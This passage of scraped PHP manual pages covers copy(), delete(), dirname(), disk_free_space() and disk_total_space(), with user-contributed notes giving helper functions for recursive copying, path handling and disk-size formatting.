     * - Src:/home/test/ ,Dst:/home/ ,Result:/home/**-> if source was direcotry copy its content to dest
     * - Src:/home/test ,Dst:/home/test2 ,Result:/home/test2/** -> if source was directoy copy it and its content to dest with test2 as name
     * - Src:/home/test/ ,Dst:/home/test2 ,Result:->/home/test2/** if source was directoy copy it and its content to dest with test2 as name
     * @todo
     *     - Should have rollback technique so it can undo the copy when it wasn't successful
     *  - Auto destination technique should be possible to turn off
     *  - Supporting callback function
     *  - May prevent some issues on shared enviroments : http://us3.php.net/umask
     * @param $source //file or folder
     * @param $dest ///file or folder
     * @param $options //folderPermission,filePermission
     * @return boolean
     */
    function smartCopy($source, $dest, $options=array('folderPermission'=>0755,'filePermission'=>0755))
    {
        $result=false;

        if (is_file($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if (!file_exists($dest)) {
                    cmfcDirectory::makeAll($dest,$options['folderPermission'],true);
                }
                $__dest=$dest."/".basename($source);
            } else {
                $__dest=$dest;
            }
            $result=copy($source, $__dest);
            chmod($__dest,$options['filePermission']);

        } elseif(is_dir($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if ($source[strlen($source)-1]=='/') {
                    //Copy only contents
                } else {
                    //Change parent itself and its contents
                    $dest=$dest.basename($source);
                    @mkdir($dest);
                    chmod($dest,$options['filePermission']);
                }
            } else {
                if ($source[strlen($source)-1]=='/') {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                } else {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                }
            }

            $dirHandle=opendir($source);
            while($file=readdir($dirHandle))
            {
                if($file!="." && $file!="..")
                {
                     if(!is_dir($source."/".$file)) {
                        $__dest=$dest."/".$file;
                    } else {
                        $__dest=$dest."/".$file;
                    }
                    //echo "$source/$file ||| $__dest<br />";
                    $result=smartCopy($source."/".$file, $__dest, $options);
                }
            }
            closedir($dirHandle);

        } else {
            $result=false;
        }
        return $result;
    }
?>
gimmicklessgpt at gmail dot com 20-May-2009 04:04
Here's a simple recursive function to copy entire directories

Note to do your own check to make sure the directory exists that you first call it on.

<?php
function recurse_copy($src,$dst) {
    $dir = opendir($src);
    @mkdir($dst);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file != '.' ) && ( $file != '..' )) {
            if ( is_dir($src . '/' . $file) ) {
                recurse_copy($src . '/' . $file,$dst . '/' . $file);
            }
            else {
                copy($src . '/' . $file,$dst . '/' . $file);
            }
        }
    }
    closedir($dir);
}
?>
nensa at zeec dot biz 27-Jan-2009 11:44
When I recently had to copy a few millions of small files (< 1kb) from one NAS to another and for some reasons had to do that file by file I compared the following function with copy($src, $dest) and shell_exec("cp -r $src $dest").

Surprisingly stream_copy seamed to be slightly faster (at least in this specific context).

<?php
    function stream_copy($src, $dest)
    {
        $fsrc = fopen($src,'r');
        $fdest = fopen($dest,'w+');
        $len = stream_copy_to_stream($fsrc,$fdest);
        fclose($fsrc);
        fclose($fdest);
        return $len;
    }
?>
allasso residing at signalmesa dot com 28-Nov-2008 03:15
As far as recursive copy, something like this seems to work fine for me:

<?php
$output = shell_exec( " cp -r -a dir_source/* dir_dest 2>&1 " )
echo $output
?>

Of course you need to get all your permissions clear.  You can do the necessary stuff to use variables.

You could also do this to create the destination directory:

<?php
shell_exec( " cp -r -a dir_source dir_dest 2>&1 " )
?>

This will create a new directory called "dir_dest" if it does not already exist. This is a bit risky though if your situation is ambiguous, and you want to continue to make backups etc, 'cause if you do it twice you end up with:

dir_destination/dir_source

to avoid that one could do something like:

<?php
shell_exec( " mkdir dir_dest;  cp -r -a dir_source/* dir_dest 2>&1 " )
?>

Maybe someone can tell me when or why it would be better to use all that PHP code I see here.
jim dot mcgowen at cox dot net 14-Jul-2008 10:50
On Windows (not sure about Linux) copy will overwrite an existing file but will not change the case of the existing filename.

In other words if I have a file named "Myfile.txt" and I overwrite it using copy with a file named "MyFile.txt" it will overwrite it but the filename will remain "Myfile.txt".

If this is a problem (as it was for me) use unlink to delete the existing file first.
steve a h 20-Jun-2008 02:44
Don't forget; you can use copy on remote files, rather than doing messy fopen stuff.  e.g.

<?php
if(!@copy('http://someserver.com/somefile.zip','./somefile.zip'))
{
    $errors= error_get_last();
    echo "COPY ERROR: ".$errors['type'];
    echo "<br />\n".$errors['message'];
} else {
    echo "File copied from remote!";
}
?>
tom at r dot je 18-Jun-2008 08:30
It's worth noting that copy() sets the destination file's last modified time/date.
jtaylor -at- ashevillenc -dot- com 13-Feb-2007 12:48
It seems as though you can only use move_uploaded_file() once on a temporary file that has been uploaded through a form. Most likely the action this function takes destroys the temporary file after it has been moved, assuming permanent placement on a file system.

Attempting to use the function again in the same PHP script will return false and not move the file.

I ran into this when an image that was uploaded did not need resizing (smaller than a size threshold) and after moving the temporary upload to the "originals" directory, an attempt was made to again move the temporary file to another folder.

This behavior is understandable, but be careful - in this instance, I simply used copy() on the file that was already uploaded.
mspreij 27-Jan-2007 08:20
This function creates a new filename to use for a copy of the given filename, its behaviour was mostly sto^Wborrowed from how the OS X Finder (*1) does it.
Note it *doesn't* actually copy the file, it just returns the new name. I needed it to work regardless of data source (filesystem, ftp, etc).

It also tries to match the current name as neatly as possible:
foo.txt -> foo copy.txt -> foo copy 1.txt -> foo copy 2.txt [etc]
foo.bar.baz.jpg -> foo.bar.baz copy.jpg
foobar -> foobar copy -> foobar copy 1 [etc]
".txt" -> .txt copy, and "txt." -> txt. copy
file.longextension -> file.longextension copy

It keeps trying until it finds a name that is not yet taken in $list, or until it looped 500 times (change as needed).

If the renamed file becomes longer than max filename length, it starts chopping away at the end of the part before where it adds " copy": reallylong...filename.txt -> reallylong...filena copy.txt

<?php

// $orig = current name, of course
// $list = array of filenames in the target directory (if none given, it will still return a new name)
// $max = max length of filename
function duplicate_name($orig, $list = array(), $max = 64) {
  $ext = '';
  $counter = 0;
  $list = (array) $list;
  $max = (int) $max;
  $newname = $orig;
  do {
    $name = $newname; # name in, newname out
    if (preg_match('/ copy$| copy \d+$/', $name, $matches)) {
      // don't even check for extension, name ends with " copy[ digits]"
    // preg hereunder matches anything with at least one period in the middle and an extension of 1-5 characters
    }elseif (preg_match('/(.+)\.([^.]{1,5})$/', $name, $parts)) {
      // split to name & extension
      list($name, $ext) = array($parts[1], $parts[2]);
    }
    if (preg_match('/ copy (\d+)$/', $name, $digits)) {
      $newname = substr($name, 0, - strlen($digits[1])) . ($digits[1] + 1);
      # $cutlen is only used for the bit at the end where it checks on max filename length
      $cutlen = 6 + strlen($digits[1]+1); // ' copy ' + digits
    }elseif(preg_match('/ copy$/', $name, $digits)) {
      $newname = $name . ' 1';
      $cutlen = 7; // ' copy' + ' 1'
    }else{
      $newname = $name . ' copy';
      $cutlen = 5; // ' copy'
    }
    if ($ext) {
      $newname .= '.' . $ext;
      $cutlen += strlen($ext) + 1;
    }
    if ($max > 0) {
      if (strlen($newname) > $max) {
        $newname = substr($newname, 0, max($max - $cutlen, 0)) . substr($newname, -$cutlen);
        if (strlen($newname) > $max) {echo "duplicate_name() error: Can't keep the new name under given max length.\n"; return false;}
      }
    }
    if ($counter++ > 500) {echo "duplicate_name() error: Too many similarly named files or infinite while loop.\n"; return false;}
  } while (in_array($newname, $list));
  return $newname;
}

?>

*1) The Finder seems to check the extension vs a list of known extensions, this function considers it valid if it's 5 or fewer characters long.

ps. sorry for taking up so much space! :-)
fred dot haab at gmail dot com 18-Aug-2006 05:49
Just some caveats for people to consider when working with this copy function.  Like everyone else, I needed a recursive copy function, so I wrote one.

It worked great until I hit a file greater than 2GB, at which point I got a File Size Exceeded error.  I've read that you can recompile PHP with larger file support, but I'm not able to do this on my system.

So I used exec to copy one file at a time (I need to do other things to the file, so can't just do an exec with "cp -r").  Then I ran into problems with spaces in the names.  The escapeshellcmd and escapeshellargs functions don't seem to cleanup spaces, so I wrote my own function to do that.
cooper at asu dot ntu-kpi dot kiev dot ua 09-Mar-2006 04:32
It take me a long time to find out what the problem is when i've got an error on copy(). It DOESN'T create any directories. It only copies to existing path. So create directories before. Hope i'll help,
info at sameprecision dot org 28-Jan-2005 03:54
When using copy on win32 (don't know about anywhere else),  copy sets the 'last modified time' of the the new copy to the current time instead of that of the source (win32 copy preserves last modified time).  If you are tracking backups by last modified time, use:

<?php

copy($src, $dest); touch($dest, filemtime($src));

?>
simonr_at_orangutan_dot_co_dot_uk 03-Sep-2004 01:54
Having spent hours tacking down a copy() error: Permission denied , (and duly worrying about chmod on winXP) , its worth pointing out that the 'destination' needs to contain the actual file name ! --- NOT just the path to the folder you wish to copy into.......
DOH !
hope this saves somebody hours of fruitless debugging
kadnan at yahoo dot com 29-Aug-2004 10:30
you can also try xcopy command by using Shell to move/copy files/folders from one place to another
here is the code:

<?php
exec('xcopy c:\\myfolder d:\\myfolder /e/i', $a, $a1);
?>

by executing this command, it will move folder along with all contents to destination.

-adnan
clearstatcache
delete
Filesystem Functions


See unlink or unset

copy
dirname
Filesystem Functions
PHP Manual

delete

delete — See unlink() or unset()

Description

void delete ( void )

This is a dummy manual entry to satisfy those people who are looking for unlink() or unset() in the wrong place.

Return Values

No value is returned.

See Also

  • unlink() - Deletes a file
  • unset() - Unset a given variable

User Contributed Notes

Alessandro Pastore 09-Jul-2011 03:53
On my slackware 13.0, php-5.2.11
The directory wich contain files must be owned by apache user, the files (obviously) they have to be apache writable
abye81 at yahoo dot com 04-Aug-2010 10:02
to delete file u can use this script

<?php
$filename = "myfile.txt";
unlink($filename);
?>
copy
dirname
Filesystem Functions


Returns parent directory's path

delete
disk_free_space
Filesystem Functions
PHP Manual

dirname

(PHP 4, PHP 5)

dirname — Returns parent directory's path

Description

string dirname ( string $path )

Given a string containing the path of a file or directory, this function will return the parent directory's path.

Parameters

path

A path.

On Windows, both slash (/) and backslash (\) are used as directory separator character. In other environments, it is the forward slash (/).

Return Values

Returns the path of the parent directory. If there are no slashes in path, a dot ('.') is returned, indicating the current directory. Otherwise, the returned string is path with any trailing /component removed.

Changelog

Version | Description
5.0.0 | dirname() is now binary safe
4.0.3 | dirname() was fixed to be POSIX-compliant.

Examples

Example #1 dirname() example

<?php
echo "1) " . dirname("/etc/passwd") . PHP_EOL; // 1) /etc
echo "2) " . dirname("/etc/") . PHP_EOL; // 2) / (or \ on Windows)
echo "3) " . dirname("."); // 3) .
?>

Notes

Note:

dirname() operates naively on the input string, and is not aware of the actual filesystem, or path components such as "..".

Note:

dirname() is locale aware, so for it to see the correct directory name with multibyte character paths, the matching locale must be set using the setlocale() function.

Note:

Since PHP 4.3.0, you will often get a slash or a dot back from dirname() in situations where the older functionality would have given you the empty string.

Check the following change example:

<?php

//before PHP 4.3.0
dirname('c:/'); // returned '.'

//after PHP 4.3.0
dirname('c:/x'); // returns 'c:\'
dirname('c:/Temp/x'); // returns 'c:/Temp'
dirname('/x'); // returns '\'

?>

See Also

  • basename() - Returns trailing name component of path
  • pathinfo() - Returns information about a file path
  • realpath() - Returns canonicalized absolute pathname

User Contributed Notes

nhl261 at yahoo dot com 26-Jun-2011 08:54
As usual, to include or require a file, we use this
<?php
require dirname(__FILE__) . DIRECTORY_SEPARATOR . 'my_file.php';
?>

in rare case, we have current file existing at the root directory, dirname would return C:\ or / , then the line above contains 2 slashes \\ or //
To handle this this case, we use rtrim to clear slashes.
<?php
require rtrim(dirname(__FILE__), '/\\') . DIRECTORY_SEPARATOR . 'my_file.php';
?>

Also, another use of dirname is to get virtual directory (url path), the issue is the same as above, we have to check and process before concatenating strings
subzey at immelman dot ru 07-Sep-2010 09:51
In some situations (I can't locate the dependencies) basename and dirname may return incorrect values if parsed string is in UTF-8.

Like, dirname("glossary/задний-фокус") will return "glossary" and basename("glossary/задний-фокус") will return "-фокус".

Quickfix is
str_replace("!$!", "", dirname(str_replace("/", "!$!/!$!", $q)))
webyazilimci84 at gmail dot com 25-Nov-2009 06:06
In my mvc based framework i make BASE_PATH and BASE_URL definitions like the following and both work well in the framework without problem.

index.php :

define('BASE_PATH',realpath('.'));
define('BASE_URL', dirname($_SERVER["SCRIPT_NAME"]));

BASE_PATH is for server side inclusions.
BASE_URL is for client side inclusions (scripts, css files, images etc.)
ken dot forslund at hp dot com 29-May-2009 01:33
A key problem to hierarchical include trees is that PHP processes include paths relative to the original file, not the current including file.

A solution to that, is to prefix all include paths with:
<?php str_replace('//','/',dirname(__FILE__)); ?>

this will generate a base path relative to the current file, which will then allow an include behavior similar to C/C++.

thus, to include a file that is 1 in the parent directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'../parent.php'); ?>

to include a file that is in the same directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'neighbor.php'); ?>

to include a file that is in a subdirectory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'folder/sub.php'); ?>

Notice that all paths we reference must NOT begin with a /, and must be relative to the current file, in order to concatenate correctly.
joe dot naylor at gmail dot com 13-Dec-2008 10:07
The dirname function does not usually return a slash on the end, which might encourage you to create links using code like this:
$url = dirname($_SERVER['PHP_SELF']) . '/somepage.php';

However dirname returns a slash if the path you specify is the root, so $url in that case would become '//somepage.php'.  If you put that URL as the action on a form, for example, submitting the form will try to go to http://somepage.php.

I ran into this when I wrote a site on a url with a path, www.somehost.com/client/somepage.php, where the code above works great, but then wanted to put it on a subdomain, client.somehost.com/somepage.php, where things started breaking.

The best solution would be to create a function that generates absolute URLs and use that throughout the site, but creating a safe_dirname function (and an htaccess rewrite to fix double-slashes just in case) fixed the issue for me:

<?php
function safe_dirname($path)
{
   $dirname = dirname($path);
   return $dirname == '/' ? '' : $dirname;
}
?>
ricardo dot ferro at gmail dot com 22-Oct-2008 08:11
dirname can be used to fix paths:

<?php
function fixPath ($path)
(
       return dirname($path . '/.');
)

fixPath('/one');                  // '/one'
fixPath('/one/');                 // '/one'
fixPath('/one//two');          // '/one/two'
fixPath('/one////two////');   // '/one/two'
?>
Tom 20-Jul-2008 11:13
Expanding on Anonymous' comment, this is not necessarily correct. If the user is using a secure protocol, this URL is inaccurate. This will work properly:

<?php

// Is the user using HTTPS?
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')) ? 'https://' : 'http://';

// Complete the URL
$url .= $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']);

// echo the URL
echo $url;

?>
Anonymous 04-Jun-2008 01:01
A simple way to show the www path to a folder containing a file...

echo "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']);
rmahase at gmail dot com 11-May-2008 11:31
this little function gets the top level public directory

eg. http://www.mysite.com/directory1/file.php

or http://www.mysite.com/directory1/directory2/directory3/file.php

will both return "directory1" ...which is the top level directory

<?php
function public_base_directory()
{
    //get public directory structure eg "/top/second/third"
    $public_directory = dirname($_SERVER['PHP_SELF']);
    //place each directory into array
    $directory_array = explode('/', $public_directory);
    //get highest or top level in array of directory strings
    $public_base = max($directory_array);

    return $public_base;
}
?>
ts at dev dot websafe dot pl 23-Mar-2008 03:55
Inside of script.php I needed to know the name of the containing directory. For example, if my script was in '/var/www/htdocs/website/somedir/script.php' i needed to know 'somedir' in a unified way.

The solution is:
<?php
$containing_dir = basename(dirname(__FILE__));
?>
Zingus J. Rinkle 10-Sep-2007 10:55
Most mkpath() function I saw listed here seem long and convoluted.
Here's mine:

<?php
  function mkpath($path)
  {
    if(@mkdir($path) or file_exists($path)) return true;
    return (mkpath(dirname($path)) and mkdir($path));
  }
?>

Untested on windows, but dirname() manual says it should work.
hans111 at yahoo dot com 26-Jan-2007 04:25
The same function but a bit improved, will use REQUEST_URI, if not available, will use PHP_SELF and if not available will use __FILE__, in this case, the function MUST be in the same file. It should work, both under Windows and *NIX.

<?php
function my_dir(){
    return end(explode('/', dirname(!empty($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : !empty($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : str_replace('\\','/',__FILE__))));
}

?>
Xedecimal at gmail dot com 24-Oct-2006 11:35
Getting absolute path of the current script:

<?php
dirname(__FILE__)
?>

Getting webserver relative path of the current script...

<?php
function GetRelativePath($path)
{
    $npath = str_replace('\\', '/', $path);
    return str_replace(GetVar('DOCUMENT_ROOT'), '', $npath);
}
?>

later on

<?php
GetRelativePath(dirname(__FILE__));
?>

If anyone has a better way, get to the constructive critisism!
legolas558 dot sourceforge comma net 10-Jul-2006 06:52
The best way to get the absolute path of the folder of the currently parsed PHP script is:

<?php

if (DIRECTORY_SEPARATOR=='/')
  $absolute_path = dirname(__FILE__).'/';
else
  $absolute_path = str_replace('\\', '/', dirname(__FILE__)).'/';

?>

This will result in an absolute unix-style path which works ok also on PHP5 under Windows, where mixing '\' and '/' may give troubles.

[EDIT by danbrown AT php DOT net: Applied author-supplied fix from follow-up note.]
phpcomm-david at tulloh dot id dot au 01-Mar-2006 09:41
This is dirty little trick to allow dirname() to work with paths with and without files.

basename($var.'a');

Some examples:
<?php
$var='/foo/bar/file';
basename($var) == '/foo/bar'
basename($var.'a') == '/foo/bar'

$var='/foo/bar/';
basename($var) == '/foo'
basename($var.'a') == '/foo/bar'
?>
renich at woralelandia dot com 10-Aug-2005 10:15
--- Edited by tularis@php.net ---
You could also have a look at the getcwd() function
--- End Edit ---

A nice "current directory" function.

function current_dir()
{
$path = dirname($_SERVER[PHP_SELF]);
$position = strrpos($path,'/') + 1;
print substr($path,$position);
}

current_dir();

I find this usefull for a lot of stuff! You can maintain a modular site with dir names as modules names. At least I would like PHP guys to add this to the function list!

If there is anything out there like it, please tell me.
klugg this-is-junk at tlen dot pl 18-Jul-2005 07:14
Attention with this. Dirname likes to mess with the slashes.
On Windows, Apache:

<?php
echo '$_SERVER[PHP_SELF]: ' . $_SERVER['PHP_SELF'] . '<br />';
echo 'Dirname($_SERVER[PHP_SELF]: ' . dirname($_SERVER['PHP_SELF']) . '<br>';
?>

prints out

$_SERVER[PHP_SELF]: /index.php
Dirname($_SERVER[PHP_SELF]: \
tobylewis at mac dot com 24-Jun-2005 06:52
Since the paths in the examples given only have two parts (e.g. "/etc/passwd") it is not obvious whether dirname returns the single path element of the parent directory or whether it returns the whole path up to and including the parent directory.  From experimentation it appears to be the latter.

e.g.

dirname('/usr/local/magic/bin');

returns '/usr/local/magic'  and not just 'magic'

Also it is not immediately obvious that dirname effectively returns the parent directory of the last item of the path regardless of whether the last item is a directory or a file.  (i.e. one might think that if the path given was a directory then dirname would return the entire original path since that is a directory name.)

Further the presense of a directory separator at the end of the path does not necessarily indicate that last item of the path is a directory, and so

dirname('/usr/local/magic/bin/');  #note final '/'

would return the same result as in my example above.

In short this seems to be more of a string manipulation function that strips off the last non-null file or directory element off of a path string.
Holger Th�lking 27-Apr-2005 03:31
If you merely want to find out wether a certain file is located within or underneath a certain directory or not, e.g. for White List validation, the following function might be useful to you:

<?php
  function in_dir ($file, $in_dir)
  {
      $dir    = realpath ($file);
      $in_dir = realpath ($in_dir);

      if (!is_dir ($file)) {
          $dir = dirname ($file);
      }

      do {
          if ($dir === $in_dir) {
              $is_in_dir = TRUE;
              break;
          }
      } while ($dir !== ($dir = dirname ($dir)));

      return (bool) @$is_in_dir;
  }
?>
soywiz at hotmail dot com 01-Jan-2004 06:41
You can use it to get parent directory:

dirname(dirname(__FILE__))

...include a file relative to file path:

include(dirname(__FILE__) . '/path/relative/file_to_include.php');

..etc.
andrey at php dot net 14-Jan-2003 07:02
Code for write permissions check:

<?php
error_reporting(E_ALL);
$dir_name = '/var/www/virtual/phpintra/htdocs/php/';
do {
    $b_is_writable = is_writable($dir_name);
    echo sprintf("Dir[%s]Writable[%s]\n", $dir_name, $b_is_writable? 'YES':'NO');
}while (($dir_name = dirname($dir_name)) !='/');
?>
rudecoder at yahoo dot com 11-Jan-2003 12:43
dirname can be used to create self referencing web scripts with the following one liner.

<?php
$base_url = str_replace($DOCUMENT_ROOT, "", dirname($PHP_SELF));
?>

Using this method on a file such as:

/home/mysite/public_html/wherever/whatever.php

will return:

/wherever

Now $base_url can be used in your HTML to reference other scripts in the same directory.

Example:

href='<?=$base_url?>/myscript.php'
dave at corecomm dot us 08-Jan-2003 10:20
I very much appreciated Fredrich Echol's suggestion (rwf at gpcom dot net) of how to find a base path, but found that it failed when the initial script was already in the root folder -- dirname('/rootscript.php')=='/' and dirname('/include/includescript.php')=='/include' which have the same number of slashes. This variation is what I'm now using:

<?php
if (!defined("BASE_PATH")) define('BASE_PATH', dirname($_SERVER['SCRIPT_NAME'])=='/' ? './' : str_repeat("../",  substr_count(dirname($_SERVER["SCRIPT_NAME"]), "/")));
?>

This explicitly checks for the root path (/) and uses './' as the base path if we're in the root folder.
I put this at/near the top of any file that calls another. (I used define for my own convenience; should work just fine with variables and without testing to see if you already did it.)

Note that in both cases (root-folder script and non-root-folder script), BASE_PATH will include a trailing slash. At least with Apache on Darwin (Mac OS X), you can include(BASE_PATH.'/myfile.php'); and the doubled slash won't cause any problems, giving the same result as include(BASE_PATH.'myfile.php'); .
rwf at gpcom dot net 01-Aug-2002 04:08
If you want relative includes like C or C++ has, you need to find out where you are in relation to the base path of the server. That is, if you are two levels into the "htdocs" directory in apache, then you need to add "../../" to the begining of the include to get back to the base directory. That's simple. What's NOT so simple is when you have "nested" included files.

Continuing the example above, if you have a file example.php and it includes "../../lib.php" and lib.php includes "lib2.php" guess where "lib2.php" needs to be located? In the same directory as example.php! What you really wanted was to have lib.php and lib2.php in the same directory... To get that result you need to include "../../lib2.php" in lib.php... But wait, now it won't work if the original example.php file is in any other place but two levels deep!

The answer to the problem is this: find the number of levels you are currently into the base directory and add as many "../" as you need to the begining of the include filename in EVERY include file.

Here's an example:

example.php
------------
$BasePath = str_repeat("../", substr_count(dirname($_SERVER["SCRIPT_NAME"]), "/"));

require_once($BasePath."lib.php");
------------

Notice that we're adding the $BasePath and the name of the file we want together to get the full path. It will look like this: "../../lib.php"

lib.php
------
require_once($BasePath."lib2.php");
------

Notice here that BasePath has already been defined so we don't know or care what BasePath looks like, only that it now allows us to use a relative path to lib2.php since it automatically adds the number of "../" needed to get to it from the original example.php that the server executed. The path here will look like this: "../../lib2.php"

And now we can easily have lib.php and lib2.php in the same directory, and have lib.php include lib2.php as if it's a relative include.

Pretty simple, no? :)

-Fredric Echols
tapken at engter dot de 30-Apr-2002 12:09
To get the directory of current included file:

<?php
dirname(__FILE__);
?>

For example, if a script called 'database.init.php' which is included from anywhere on the filesystem wants to include the script 'database.class.php', which lays in the same directory, you can use:

<?php
include_once(dirname(__FILE__) . '/database.class.php');
?>
delete
disk_free_space
Filesystem Functions


Returns available space on filesystem or disk partition

dirname
disk_total_space
Filesystem Functions
PHP Manual

disk_free_space

(PHP 4 >= 4.1.0, PHP 5)

disk_free_space — Returns available space on filesystem or disk partition

Description

float disk_free_space ( string $directory )

Given a string containing a directory, this function will return the number of bytes available on the corresponding filesystem or disk partition.

Parameters

directory

A directory of the filesystem or disk partition.

Note:

Given a file name instead of a directory, the behaviour of the function is unspecified and may differ between operating systems and PHP versions.

Return Values

Returns the number of available bytes as a float or FALSE on failure.

Examples

Example #1 disk_free_space() example

<?php
// $df contains the number of bytes available on "/"
$df = disk_free_space("/");

// On Windows:
$df_c = disk_free_space("C:");
$df_d = disk_free_space("D:");
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

See Also

  • disk_total_space() - Returns the total size of a filesystem or disk partition

User Contributed Notes

crrodriguez at opensuse dot org 20-Dec-2011 01:54
Note that you should not rely on this function on linux BTRFS filesystems.read the FAQ for more info

https://btrfs.wiki.kernel.org/articles/f/a/q/FAQ_1fe9.htm
wiede at gmx dot net 11-Apr-2011 05:36
Transformation is possible WITHOUT using loops:

<?php
    $bytes = disk_free_space(".");
    $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
    $base = 1024;
    $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
    echo $bytes . '<br />';
    echo sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '<br />';
?>
sam 17-Dec-2008 01:52
Nice, but please be aware of the prefixes.

SI specifies a lower case 'k' as 1'000 prefix.
It doesn't make sense to use an upper case 'K' as binary prefix,
while the decimal Mega (M and following) prefixes in SI are uppercase.
Furthermore, there are REAL binary prefixes since a few years.

Do it the (newest and recommended) "IEC" way:

KB's are calculated decimal; power of 10 (1000 bytes each)
KiB's are calculated binary; power of 2 (1024 bytes each).
The same goes for MB, MiB and so on...

Feel free to read:
http://en.wikipedia.org/wiki/Binary_prefix
rostvertol dot mil at gmail dot com 18-Feb-2008 11:27
A cleaner and more efficient way of making human readable file sizes:

<?php
function decodeSize( $bytes )
{
    $types = array( 'B', 'KB', 'MB', 'GB', 'TB' );
    for( $i = 0; $bytes >= 1024 && $i < ( count( $types ) -1 ); $bytes /= 1024, $i++ );
    return( round( $bytes, 2 ) . " " . $types[$i] );
}
?>
root at mantoru dot de 06-Dec-2007 08:25
Note that disk_free_space() does an open_basedir check.
Nitrogen 10-Jan-2007 05:50
Another easy way to convert bytes to human readable sizes would be this:

<?php
function HumanSize($Bytes)
{
  $Type=array("", "kilo", "mega", "giga", "tera", "peta", "exa", "zetta", "yotta");
  $Index=0;
  while($Bytes>=1024)
  {
    $Bytes/=1024;
    $Index++;
  }
  return("".$Bytes." ".$Type[$Index]."bytes");
}
?>

It simply takes the $Bytes and divides it by 1024 bytes untill it's no longer over or equal to 1024, meanwhile it increases the $Index to allocate which suffix belongs to the return (adding 'bytes' to the end to save some space).
You can easily modify it so it's shorter, but I made it so it's more clearer.

Nitrogen.
mixar at yandex dot ru 04-Dec-2006 03:33
This the right function is:

function formatSize($size){
    switch (true){
    case ($size > 1099511627776):
        $size /= 1099511627776;
        $suffix = 'TB';
    break;
    case ($size > 1073741824):
        $size /= 1073741824;
        $suffix = 'GB';
    break;
    case ($size > 1048576):
        $size /= 1048576;
        $suffix = 'MB';
    break;
    case ($size > 1024):
        $size /= 1024;
        $suffix = 'KB';
        break;
    default:
        $suffix = 'B';
    }
    return round($size, 2).$suffix;
}
djneoform at gmail dot com 12-Jul-2006 07:13
List all drives, free space, total space and percentage free.

<?
    for ($i = 67; $i <= 90; $i++)
    {
        $drive = chr($i);
        if (is_dir($drive.':'))
        {
            $freespace             = disk_free_space($drive.':');
            $total_space         = disk_total_space($drive.':');
            $percentage_free     = $freespace ? round($freespace / $total_space, 2) * 100 : 0;
            echo $drive.': '.to_readble_size($freespace).' / '.to_readble_size($total_space).' ['.$percentage_free.'%]<br />';
        }
    }

    function to_readble_size($size)
    {
        switch (true)
        {
            case ($size > 1000000000000):
                $size /= 1000000000000;
                $suffix = 'TB';
                break;
            case ($size > 1000000000):
                $size /= 1000000000;
                $suffix = 'GB';
                break;
            case ($size > 1000000):
                $size /= 1000000;
                $suffix = 'MB';
                break;
            case ($size > 1000):
                $size /= 1000;
                $suffix = 'KB';
                break;
            default:
                $suffix = 'B';
        }
        return round($size, 2).$suffix;
    }
?>
Ashraf M Kaabi 01-Mar-2005 08:38
and also you can know the used space , in this
example :
<?
function disk_used_space($drive)
{
    return disk_total_space("$drive:") - disk_free_space("$drive:");
}

echo disk_used_space('C');
?>
dirname
disk_total_space
Filesystem Functions


Returns the total size of a filesystem or disk partition

disk_free_space
diskfreespace
Filesystem Functions
PHP Manual

disk_total_space

(PHP 4 >= 4.1.0, PHP 5)

disk_total_space — Returns the total size of a filesystem or disk partition

Description

float disk_total_space ( string $directory )

Given a string containing a directory, this function will return the total number of bytes on the corresponding filesystem or disk partition.

Parameters

directory

A directory of the filesystem or disk partition.

Return Values

Returns the total number of bytes as a float or FALSE on failure.

Examples

Example #1 disk_total_space() example

<?php
// $ds contains the total number of bytes available on "/"
$ds = disk_total_space("/");

// On Windows:
$ds = disk_total_space("C:");
$ds = disk_total_space("D:");
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

See Also

  • disk_free_space() - Returns available space on filesystem or disk partition

User Contributed Notes

khumlo at gmail dot com 23-May-2010 01:36
PHP 6 has already come to the market but still there are no standard function that can help retrieve directory size as it has to calculate disk space such as disk_total_space. Although we can use system level call such as exec() and system(), it is too risky to enable these function. So we look for an alternate method so as to calculate directory size.

Sol: retrieving directory size using php

<?php

function get_dir_size($dir_name){
        $dir_size =0;
           if (is_dir($dir_name)) {
               if ($dh = opendir($dir_name)) {
                  while (($file = readdir($dh)) !== false) {
                        if($file !=”.” && $file != “..”){
                              if(is_file($dir_name.”/”.$file)){
                                   $dir_size += filesize($dir_name.”/”.$file);
                             }
                             /* check for any new directory inside this directory */
                             if(is_dir($dir_name.”/”.$file)){
                                $dir_size +=  get_dir_size($dir_name.”/”.$file);
                              }
                           }
                     }
             }
       }
closedir($dh);
return $dir_size;
}

$dir_name = “directory name here”;
/* 1048576 bytes == 1MB */
$total_size= round((get_dir_size($dir_name) / 1048576),2) ;
print “Directory $dir_name size : $total_size MB”;
?>

Depending upon the size format you want to achieve, divide directory size by 1024 or 1024 * 1024 or 1024 * 1024 * 1024 for KB or MB or GB respectively.
cotact[at]covac-software[dot]com 25-Dec-2009 06:52
Something that might go well with this function is the ability to list available disks. On Windows, here's the relevant code:

<?php
/**
 * Finds a list of disk drives on the server.
 * @return array The array velues are the existing disks.
 */
function get_disks(){
    if(php_uname('s')=='Windows NT'){
        // windows
        $disks=`fsutil fsinfo drives`;
        $disks=str_word_count($disks,1);
        if($disks[0]!='Drives')return '';
        unset($disks[0]);
        foreach($disks as $key=>$disk)$disks[$key]=$disk.':\\';
        return $disks;
    }else{
        // unix
        $data=`mount`;
        $data=explode(' ',$data);
        $disks=array();
